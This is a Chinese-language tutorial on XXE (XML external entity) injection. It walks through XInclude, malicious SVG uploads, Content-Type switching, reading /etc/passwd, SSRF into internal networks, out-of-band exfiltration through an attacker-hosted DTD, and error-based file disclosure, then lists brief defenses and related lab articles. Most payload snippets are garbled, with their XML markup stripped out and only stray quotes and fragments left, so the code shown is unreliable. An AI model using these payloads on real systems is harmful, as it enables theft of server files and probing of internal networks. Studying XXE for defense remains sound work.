xxe是xml外部實體注入漏洞,應用程式解析xml輸入時,沒有禁止外部實體的載入,導致可載入惡意外部檔案和**,造成任意檔案讀取,命令執行,內網埠掃瞄攻擊內網**等危害。
1. 讀取敏感檔案。
2. 執行ssrf漏洞,進行內網埠探測,攻擊內網**等。
1. xinclude攻擊
一些應用程式接收使用者的資料,在服務端嵌入到xml文件中解析,這時我們無法控制整個xml文件,所以就無法定義或修改doctype元素。xinclede是xml規範的一部分,允許從子文件中構建xml文件,從而進行攻擊。
"">
"text
" href="
file:///etc/passwd
"/>
2. 利用檔案上傳來進行xxe攻擊
docx和svg等都是基於xml格式,如果影象處理庫支援svg影象,攻擊者可以提交惡意的svg影象,就可以利用檔案上傳執行xxe攻擊。
建立具有xml**的svg影象
<?xml version="1.0" standalone="
yes"?>"
file:///etc/hostname
" > ]>
將此影象上傳上去。就可以在頭像中看到/etc/hostname檔案的內容。
3. 通過修改請求包的檔案內容型別來進行xxe攻擊
有些應用程式會允許xml的內容型別,我們就可以修改content-type: text/xml欄位,來利用xxe漏洞。
原來的請求體中的內容是:foo=bar
4. 讀取敏感檔案
利用file協議讀取伺服器中的敏感檔案。
<?xml version="1.0" encoding="
utf-8
"?>
"file:///etc/passwd
"> ]>
&xxe;
5. 執行ssrf攻擊
利用http協議,讓存在xxe漏洞的應用程式向與它處於同一內網的傳送http請求。
""> ]>
6. 帶外通道技術來進行盲注xxe
一般情況下,雖然存在xxe漏洞,但是不會回顯外部實體注入的值,我們就要利用帶外通道技術。(oob)
攻擊者在vps中放置惡意的dtd,讓存在漏洞的應用程式去訪問。
惡意dtd(外部實體)內容:訪問可以訪問到改dtd
">
%eval;
%exfiltrate;
向存在漏洞的應用程式中輸入:
%xxe;]>
7. 通過錯誤訊息來讀取檔案
通過觸發xml解析錯誤,在解析錯誤資訊中返回我們需要讀取的敏感資訊。
"file:///etc/passwd
">
"">
%eval;
%error;
1. 使用開發語言提供的禁用外部實體的方法。
2. 過濾使用者輸入的xml資料中的關鍵字。
3. 不允許xml中有使用者自定義的文件型別。
PHP環境 XML外部實體注入漏洞(XXE)
好好學習,天天向上 libxml2.9.0以後,預設不解析外部實體,導致xxe漏洞逐漸消亡。為了演示php環境下的xxe漏洞,本例會將libxml2.8.0版本編譯進php中。php版本並不影響xxe利用。libxml2.8.0版本 使用vulhub 使用docker啟動 docker compos...
PHP環境XML外部實體注入防禦(XXE)
php 7.0.30 libxml 2.8.0 為了演示php環境下的xxe漏洞,本例將libxml2.8.0版本編譯進php中。php 版本並不影響xxe利用。使用如下命令編譯並啟動環境 cd vulhub php php xxe docker compose up d web目錄如下 tree ...
XML外部實體注入
參考文章 xxe漏洞逐漸走向消亡 libxml 2.9.0 以後 預設不解析外部實體 遂 xxe漏洞逐漸消亡 語法 1.xml元素都必須有關閉標籤。2.xml 標籤對大小寫敏感。3.xml 必須正確地巢狀。4.xml 文件必須有根元素。5.xml 的屬性值須加引號。結構 1.xml 文件宣告,在文件...